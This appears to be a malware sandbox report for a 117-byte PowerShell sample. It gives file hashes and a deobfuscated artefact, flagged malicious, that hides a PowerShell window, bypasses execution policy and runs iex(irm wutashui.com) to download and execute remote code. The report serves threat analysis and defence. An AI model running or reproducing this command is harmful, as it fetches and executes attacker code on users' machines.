General
Structural Analysis
Config.0
Yara Rules12
Sync
Community
Infection Chain
Summary by MalvaGPT
Characteristics
|
Hash | Hash Value |
|---|---|
| MD5 | 1fe911e3a05f15764ea57c4e86d3e91f
|
| Sha1 | 9897dc771995383e6a64cf4448a1a62b610fdaf3
|
| Sha256 | dbd0d07ce0569aec3a2acb9ffa4dece9dc351eac16910e2f759fc55fff88ff55
|
| Sha384 | f962bd04e595ffa3977419f728f17852f9eb2cad737e9a85245e587003187055f0154aa5b49f16bce2e780b085da664b
|
| Sha512 | 27e0a78139182c14679f1b340ab86963a1a3ccad287047c588438a92a9636cfef35ed2ccaa0ca21a894082ec6176de3ce3e0faf3c12d20b4d5dfecea72893366
|
| SSDeep | 3:VSJJFIGFGMFI1oM3KAJJFId1sqPJH0cVERvBuIFjwMyHn:s8GFGMFI1R3Ks8zsO0cK+MyHn
|
File Structure
Artefacts
|
Name0 | Value |
|---|---|
| Deobfuscated PowerShell | Start-Process -WindowStyle "Hidden" "powershell" -Args "-ExecutionPolicy Bypass -c iex(irm wutashui.com)" |
| Deobfuscated PowerShell | -args "-ExecutionPolicy Bypass -c iex(irm wutashui.com)" |
1fe911e3a05f15764ea57c4e86d3e91f (117 B)
File Structure
Characteristics
No malware configuration were found at this point.
Artefacts
|
Name0 | Value | Location |
|---|---|---|
| Deobfuscated PowerShell | Start-Process -WindowStyle "Hidden" "powershell" -Args "-ExecutionPolicy Bypass -c iex(irm wutashui.com)" Malicious |
1fe911e3a05f15764ea57c4e86d3e91f > [PowerShell Command] |
| Deobfuscated PowerShell | -args "-ExecutionPolicy Bypass -c iex(irm wutashui.com)" Malicious |
1fe911e3a05f15764ea57c4e86d3e91f > [PowerShell Command] > [PowerShell Command] |
You must be signed in to post a comment.
You need a premium account to access this feature.
You must be signed in to post a comment.